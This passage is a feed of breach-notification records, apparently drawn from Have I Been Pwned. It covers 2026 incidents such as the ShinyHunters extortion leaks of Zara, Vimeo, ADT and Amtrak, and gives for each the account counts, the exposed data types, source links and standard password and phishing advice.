In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group . The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice , Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks , a pattern often seen after the public release of breached data.
Sources:
Have I Been Pwned: Canada Life: https://haveibeenpwned.com/Breach/CanadaLife
Canada Life disclosure: https://www.canadalife.com/about-us/news-highlights/news/canada-life-recently-identified-a-cyber-incident.html
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-05-13. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cushman & Wakefield breach: 310,431 accounts exposed
https://kevwire.com/record/hibp-cushmanwakefield
Cushman & Wakefield breach: 310,431 accounts exposed (May 12, 2026).
In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group . Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
Sources:
Have I Been Pwned: Cushman & Wakefield: https://haveibeenpwned.com/Breach/CushmanWakefield
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-05; loaded 2026-05-12. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zara breach: 197,376 accounts exposed
https://kevwire.com/record/hibp-zara
Zara breach: 197,376 accounts exposed (May 8, 2026).
In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information .
Sources:
Have I Been Pwned: Zara: https://haveibeenpwned.com/Breach/Zara
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-15; loaded 2026-05-08. Exposed data: Email addresses, Geographic locations, Purchases, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Woflow breach: 447,593 accounts exposed
https://kevwire.com/record/hibp-woflow
Woflow breach: 447,593 accounts exposed (May 7, 2026).
In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group . The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform.
Sources:
Have I Been Pwned: Woflow: https://haveibeenpwned.com/Breach/Woflow
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-04; loaded 2026-05-07. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### LegionProxy breach: 10,144 accounts exposed
https://kevwire.com/record/hibp-legionproxy
LegionProxy breach: 10,144 accounts exposed (May 6, 2026).
In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach . The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
Sources:
Have I Been Pwned: LegionProxy: https://haveibeenpwned.com/Breach/LegionProxy
LegionProxy disclosure: https://discord.com/channels/1236697205138788462/1239163077983735828/1500601065731653763
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-06; loaded 2026-05-06. Exposed data: Email addresses, Names, Passwords, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vimeo breach: 119,167 accounts exposed
https://kevwire.com/record/hibp-vimeo
Vimeo breach: 119,167 accounts exposed (May 5, 2026).
In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign . They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
Sources:
Have I Been Pwned: Vimeo: https://haveibeenpwned.com/Breach/Vimeo
Vimeo disclosure: https://vimeo.com/blog/post/anodot-third-party-security-incident
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-28; loaded 2026-05-05. Exposed data: Email addresses, Names. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reborn Gaming breach: 126 accounts exposed
https://kevwire.com/record/hibp-reborngaming
Reborn Gaming breach: 126 accounts exposed (May 4, 2026).
In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM) . The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
Sources:
Have I Been Pwned: Reborn Gaming: https://haveibeenpwned.com/Breach/RebornGaming
Reborn Gaming disclosure: https://reborngaming.net/threads/6120/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-30; loaded 2026-05-04. Exposed data: Email addresses, IP addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Marcus & Millichap breach: 1,837,078 accounts exposed
https://kevwire.com/record/hibp-marcusmillichap
Marcus & Millichap breach: 1,837,078 accounts exposed (May 3, 2026).
In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group . Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice , Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
Sources:
Have I Been Pwned: Marcus & Millichap: https://haveibeenpwned.com/Breach/MarcusMillichap
Marcus & Millichap disclosure: https://www.marcusmillichap.com/news-events/press/2026/04/marcus-millichap-releases-information-regarding-cybersecurity-incident
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-12; loaded 2026-05-03. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZenBusiness breach: 5,118,184 accounts exposed
https://kevwire.com/record/hibp-zenbusiness
ZenBusiness breach: 5,118,184 accounts exposed (May 2, 2026).
In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness , a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
Sources:
Have I Been Pwned: ZenBusiness: https://haveibeenpwned.com/Breach/ZenBusiness
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-27; loaded 2026-05-02. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aman breach: 215,563 accounts exposed
https://kevwire.com/record/hibp-aman
Aman breach: 215,563 accounts exposed (May 1, 2026).
In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign , with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
Sources:
Have I Been Pwned: Aman: https://haveibeenpwned.com/Breach/Aman
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-05-01. Exposed data: Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pitney Bowes breach: 8,243,989 accounts exposed
https://kevwire.com/record/hibp-pitneybowes
Pitney Bowes breach: 8,243,989 accounts exposed (Apr 27, 2026).
In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
Sources:
Have I Been Pwned: Pitney Bowes: https://haveibeenpwned.com/Breach/PitneyBowes
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-04-27. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crunchyroll breach: 1,195,684 accounts exposed
https://kevwire.com/record/hibp-crunchyroll
Crunchyroll breach: 1,195,684 accounts exposed (Apr 4, 2026).
In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users . The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP.
Sources:
Have I Been Pwned: Crunchyroll: https://haveibeenpwned.com/Breach/Crunchyroll
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-12; loaded 2026-04-04. Exposed data: Email addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### ADT breach: 5,488,888 accounts exposed
https://kevwire.com/record/hibp-adt
ADT breach: 5,488,888 accounts exposed (Apr 27, 2026).
In April 2026, home security firm ADT confirmed a data breach by ShinyHunters , which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
Sources:
Have I Been Pwned: ADT: https://haveibeenpwned.com/Breach/ADT
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-04-27. Exposed data: Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Udemy breach: 1,401,259 accounts exposed
https://kevwire.com/record/hibp-udemy
Udemy breach: 1,401,259 accounts exposed (Apr 26, 2026).
In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
Sources:
Have I Been Pwned: Udemy: https://haveibeenpwned.com/Breach/Udemy
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-24; loaded 2026-04-26. Exposed data: Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Carnival breach: 7,531,359 accounts exposed
https://kevwire.com/record/hibp-carnival
Carnival breach: 7,531,359 accounts exposed (Apr 24, 2026).
In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
Sources:
Have I Been Pwned: Carnival: https://haveibeenpwned.com/Breach/Carnival
Carnival disclosure: https://api.kscope.io/ks-doc-view?key=fde6d8e0-6260-46ee-9286-9578b2baf99c&content=benznews&docid=146ca2a0b6b2c9132af22b2efdfcee546d60ba59&allow_back=true
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-18; loaded 2026-04-24. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Amtrak breach: 2,147,679 accounts exposed
https://kevwire.com/record/hibp-amtrak
Amtrak breach: 2,147,679 accounts exposed (Apr 17, 2026).
In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak . The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
Sources:
Have I Been Pwned: Amtrak: https://haveibeenpwned.com/Breach/Amtrak
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-03; loaded 2026-04-17. Exposed data: Email addresses, Names, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### McGraw Hill breach: 13,500,136 accounts exposed
https://kevwire.com/record/hibp-mcgrawhill
McGraw Hill breach: 13,500,136 accounts exposed (Apr 16, 2026).
In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt . Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
Sources:
Have I Been Pwned: McGraw Hill: https://haveibeenpwned.com/Breach/McGrawHill
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-10; loaded 2026-04-16. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hallmark breach: 1,736,520 accounts exposed
https://kevwire.com/record/hibp-hallmark
Hallmark breach: 1,736,520 accounts exposed (Apr 12, 2026).
In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
Sources:
Have I Been Pwned: Hallmark: https://haveibeenpwned.com/Breach/Hallmark
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-31; loaded 2026-04-12. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### SongTrivia2 breach: 291,739 accounts exposed
https://kevwire.com/record/hibp-songtrivia2
SongTrivia2 breach: 291,739 accounts exposed (Apr 4, 2026).
In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum . The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
Sources:
Have I Been Pwned: SongTrivia2: https://haveibeenpwned.com/Breach/SongTrivia2
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-02; loaded 2026-04-04. Exposed data: Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### SUCCESS breach: 253,510 accounts exposed
https://kevwire.com/record/hibp-success
SUCCESS breach: 253,510 accounts exposed (Apr 1, 2026).
In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach . The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice , they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors.
Sources:
Have I Been Pwned: SUCCESS: https://haveibeenpwned.com/Breach/SUCCESS
SUCCESS disclosure: https://www.success.com/inside-success/security-update
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-04; loaded 2026-04-01. Exposed data: Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### BreachForums Version 5 breach: 339,778 accounts exposed
https://kevwire.com/record/hibp-breachforumsv5
BreachForums Version 5 breach: 339,778 accounts exposed (Mar 27, 2026).
In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed . The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
Sources:
Have I Been Pwned: BreachForums Version 5: https://haveibeenpwned.com/Breach/BreachForumsV5
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-26; loaded 2026-03-27. Exposed data: Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Scuf Gaming breach: 128,683 accounts exposed
https://kevwire.com/record/hibp-scufgaming
Scuf Gaming breach: 128,683 accounts exposed (Mar 26, 2026).
In June 2015, custom gaming controller maker Scuf Gaming suffered a data breach . The incident exposed 129k unique email addresses along with usernames, display names, IP addresses and password hashes.
Sources:
Have I Been Pwned: Scuf Gaming: https://haveibeenpwned.com/Breach/ScufGaming
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2015-06-05; loaded 2026-03-26. Exposed data: Display names, Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sound Radix breach: 292,993 accounts exposed
https://kevwire.com/record/hibp-soundradix
Sound Radix breach: 292,993 accounts exposed (Mar 26, 2026).
In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP . The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.
Sources:
Have I Been Pwned: Sound Radix: https://haveibeenpwned.com/Breach/SoundRadix
Sound Radix disclosure: https://support.soundradix.com/support/solutions/articles/5000900043
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-25; loaded 2026-03-26. Exposed data: Email addresses, Names, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### RuneScape Boards breach: 222,762 accounts exposed
https://kevwire.com/record/hibp-rsboards
RuneScape Boards breach: 222,762 accounts exposed (Mar 23, 2026).
In around 2011, the now defunct RuneScape Boards forum (also known as RSBoards) suffered a data breach that was later redistributed as part of a larger corpus of data . The vBulletin-based service exposed 223k unique email addresses along with usernames, IP addresses and salted MD5 password hashes.
Sources:
Have I Been Pwned: RuneScape Boards: https://haveibeenpwned.com/Breach/RSBoards
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2011-12-26; loaded 2026-03-23. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aura breach: 903,080 accounts exposed
https://kevwire.com/record/hibp-aura
Aura breach: 903,080 accounts exposed (Mar 18, 2026).
In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses . The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised.
Sources:
Have I Been Pwned: Aura: https://haveibeenpwned.com/Breach/Aura
Aura disclosure: https://www.aura.com/press/release/statement-on-exposure-of-customer-information
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-06; loaded 2026-03-18. Exposed data: Customer service records, Email addresses, IP addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Divine Skins breach: 105,814 accounts exposed
https://kevwire.com/record/hibp-divineskins
Divine Skins breach: 105,814 accounts exposed (Mar 15, 2026).
In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach . The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users.
Sources:
Have I Been Pwned: Divine Skins: https://haveibeenpwned.com/Breach/DivineSkins
Divine Skins disclosure: https://discord.com/channels/1272878928368762996/1272879634488496138/1482141964559319210
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-13; loaded 2026-03-15. Exposed data: Email addresses, Purchases, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Baydöner breach: 1,266,822 accounts exposed
https://kevwire.com/record/hibp-baydoner
Baydöner breach: 1,266,822 accounts exposed (Mar 15, 2026).
In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum . The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice , Baydöner stated that payment and financial data was not affected.
Sources:
Have I Been Pwned: Baydöner: https://haveibeenpwned.com/Breach/Baydoner
Baydöner disclosure: https://www.baydoner.com/duyurular
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-08; loaded 2026-03-15. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Provecho breach: 712,904 accounts exposed
https://kevwire.com/record/hibp-provecho
Provecho breach: 712,904 accounts exposed (Mar 3, 2026).
In early 2026, data purportedly sourced from the recipe and meal planning service Provecho was alleged to have been obtained in a breach. The exposed data included 713k unique email address along with username and the creator account holders followed. Provecho has been notified and is aware of the claims surrounding the incident.
Sources:
Have I Been Pwned: Provecho: https://haveibeenpwned.com/Breach/Provecho
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-30; loaded 2026-03-03. Exposed data: Email addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lovora breach: 495,556 accounts exposed
https://kevwire.com/record/hibp-lovora
Lovora breach: 495,556 accounts exposed (Mar 2, 2026).
In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
Sources:
Have I Been Pwned: Lovora: https://haveibeenpwned.com/Breach/Lovora
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-02-25; loaded 2026-03-02. Exposed data: Display names, Email addresses, Profile photos. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### KomikoAI breach: 1,060,191 accounts exposed
https://kevwire.com/record/hibp-komikoai
KomikoAI breach: 1,060,191 accounts exposed (Mar 2, 2026).
In February, the AI-powered comic generation platform KomikoAI suffered a data breach . The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses.
Sources:
Have I Been Pwned: KomikoAI: https://haveibeenpwned.com/Breach/KomikoAI
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-02-25; loaded 2026-03-02. Exposed data: AI prompts, Email addresses, Forum posts, Names. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Odido breach: 6,077,025 accounts exposed
https://kevwire.com/record/hibp-odido
Odido breach: 6,077,025 accounts exposed (Feb 26, 2026).
In February 2026, Dutch telco Odido was the victim of a data breach and subsequent extortion attempt . Shortly after, a total of 6M unique email addresses were published across four separate data releases over consecutive days. The exposed data includes names, physical addresses, phone numbers, bank account numbers, dates of birth, customer service notes and passport, driver’s licence and European national ID numbers. Odido has published a disclosure notice including an FAQ to support affected customers.
Sources:
Have I Been Pwned: Odido: https://haveibeenpwned.com/Breach/Odido
Odido disclosure: https://www.odido.nl/veiligheid
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-02-12; loaded 2026-02-26. Exposed data: Bank account numbers, Customer service records, Dates of birth, Driver's licenses, Email addresses, Genders, Government issued IDs, Names, Passport numbers, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
